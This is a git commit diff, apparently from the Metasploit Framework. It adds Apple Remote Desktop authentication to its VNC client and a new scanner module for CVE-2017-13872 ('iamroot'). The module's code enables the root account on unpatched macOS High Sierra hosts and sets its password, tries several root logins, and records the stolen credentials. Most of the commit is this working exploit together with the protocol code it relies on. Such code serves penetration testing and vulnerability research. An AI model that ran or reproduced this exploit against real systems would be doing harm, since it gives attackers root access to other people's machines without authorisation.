Land #9302, Implement ARD auth and add remote CVE-2017-13872 (iamroot) module

MS-2855/keylogger-mettle-extension
Brent Cook 2017-12-28 14:11:26 -06:00
commit c2bb144d0f
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
6 changed files with 182 additions and 6 deletions

View File

@ -46,8 +46,6 @@ module Metasploit
service_name: 'vnc'
}
credential.public = nil
begin
# Make our initial socket to the target
disconnect if self.sock
@ -57,7 +55,11 @@ module Metasploit
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)
if vnc.handshake
if vnc_auth(vnc,credential.private)
type = vnc.negotiate_authentication
if type != Rex::Proto::RFB::AuthType::ARD
credential.public = nil
end
if vnc_auth(vnc,type,credential.public,credential.private)
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
else
result_options.merge!(
@ -106,11 +108,13 @@ module Metasploit
# This method attempts the actual VNC authentication. It has built in retries to handle
# delays built into the VNC RFB authentication.
# @param client [Rex::Proto::RFB::Client] The VNC client object to authenticate through
# @param type [Rex::Proto::RFB::AuthType] The VNC authentication type to attempt
# @param username [String] the username to attempt the authentication with
# @param password [String] the password to attempt the authentication with
def vnc_auth(client,password)
def vnc_auth(client,type,username,password)
success = false
5.times do |n|
if client.authenticate(password)
if client.authenticate_with_type(type,username,password)
success = true
break
end

View File

@ -75,6 +75,36 @@ class Cipher
c.update(cipher)
end
def self.encrypt_ard(username, password, generator, key_length, prime_modulus, peer_public_key)
generator = OpenSSL::BN.new(generator, 2)
prime_modulus = OpenSSL::BN.new(prime_modulus, 2)
peer_public_key = OpenSSL::BN.new(peer_public_key, 2)
user_struct = username + ("\0" * (64 - username.length)) + password + ("\0" * (64 - password.length))
dh_peer = OpenSSL::PKey::DH.new(key_length * 8, generator)
dh_peer.set_key(peer_public_key, nil)
dh = OpenSSL::PKey::DH.new(dh_peer)
dh.set_pqg(prime_modulus, nil, generator)
dh.generate_key!
shared_key = dh.compute_key(dh_peer.pub_key)
md5 = OpenSSL::Digest::MD5.new
key_digest = md5.digest(shared_key)
cipher = OpenSSL::Cipher.new("aes-128-ecb")
cipher.encrypt
cipher.key = key_digest
cipher.padding = 0
ciphertext = cipher.update(user_struct) + cipher.final
response = ciphertext + dh.pub_key.to_s(2)
return response
end
end
end

View File

@ -88,7 +88,15 @@ class Client
end
def authenticate(password = nil)
authenticate_with_user(nil, password)
end
def authenticate_with_user(username = nil, password = nil)
type = negotiate_authentication
authenticate_with_type(type, username, password)
end
def authenticate_with_type(type, username = nil, password = nil)
return false if not type
# Authenticate.
@ -99,6 +107,9 @@ class Client
when AuthType::VNC
return false if not negotiate_vnc_auth(password)
when AuthType::ARD
return false if not negotiate_ard_auth(username, password)
end
# Handle reading the security result message
@ -176,6 +187,7 @@ class Client
selected = nil
selected ||= AuthType::None if @opts[:allow_none] and @auth_types.include? AuthType::None
selected ||= AuthType::VNC if @auth_types.include? AuthType::VNC
selected ||= AuthType::ARD if @auth_types.include? AuthType::ARD
if not selected
@error = "No supported authentication method found."
@ -201,6 +213,21 @@ class Client
true
end
def negotiate_ard_auth(username = nil, password = nil)
generator = @sock.get_once(2)
generator = generator.unpack("n").first
key_length = @sock.get_once(2)
key_length = key_length.unpack("n").first
prime_modulus = @sock.get_once(key_length)
peer_public_key = @sock.get_once(key_length)
response = Cipher.encrypt_ard(username, password, generator, key_length, prime_modulus, peer_public_key)
@sock.put(response)
true
end
attr_reader :error, :majver, :minver, :auth_types
attr_reader :view_only
end

View File

@ -36,6 +36,7 @@ class AuthType
GtkVncSasl = 20
MD5Hash = 21
ColinDeanXVP = 22
ARD = 30
def self.to_s(num)
self.constants.each { |c|

View File

@ -0,0 +1,113 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/rfb'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Apple Remote Desktop Root Vulnerability',
'Description' => 'Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.',
'References' =>
[
['CVE', '2017-13872'],
['URL', 'https://support.apple.com/en-us/HT208315']
],
'Author' => 'jgor',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(5900),
OptString.new('PASSWORD', [false, 'Set root account to this password', ''])
])
end
def log_credential(password)
print_good("Login succeeded - root:#{password}")
service_data = {
address: target_host,
port: rport,
service_name: 'vnc',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
username: 'root',
private_data: password,
private_type: :password
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)
create_credential_login(login_data)
end
def run_host(target_host)
begin
if datastore['PASSWORD'].empty?
password = Rex::Text::rand_text_alphanumeric(16)
else
password = datastore['PASSWORD']
end
connect
vnc = Rex::Proto::RFB::Client.new(sock)
if vnc.handshake
type = vnc.negotiate_authentication
unless type = Rex::Proto::RFB::AuthType::ARD
print_error("VNC server does not advertise security type ARD.")
return
end
print_status("Attempting authentication as root.")
if vnc.authenticate_with_type(type, 'root', password)
log_credential(password)
return
end
end
disconnect
connect
vnc = Rex::Proto::RFB::Client.new(sock)
print_status("Testing login as root with chosen password.")
if vnc.handshake
if vnc.authenticate_with_user('root', password)
log_credential(password)
return
end
end
disconnect
connect
vnc = Rex::Proto::RFB::Client.new(sock)
print_status("Testing login as root with empty password.")
if vnc.handshake
if vnc.authenticate_with_user('root', '')
log_credential('')
return
end
end
ensure
disconnect
end
end
end

View File

@ -31,7 +31,8 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do
it 'returns a failed result when authentication fails' do
expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:handshake).and_return true
expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:authenticate).with(private).and_return false
expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:negotiate_authentication).and_return Rex::Proto::RFB::AuthType::VNC
expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:authenticate_with_type).with(Rex::Proto::RFB::AuthType::VNC,nil,private).and_return false
result = login_scanner.attempt_login(test_cred)
expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT
end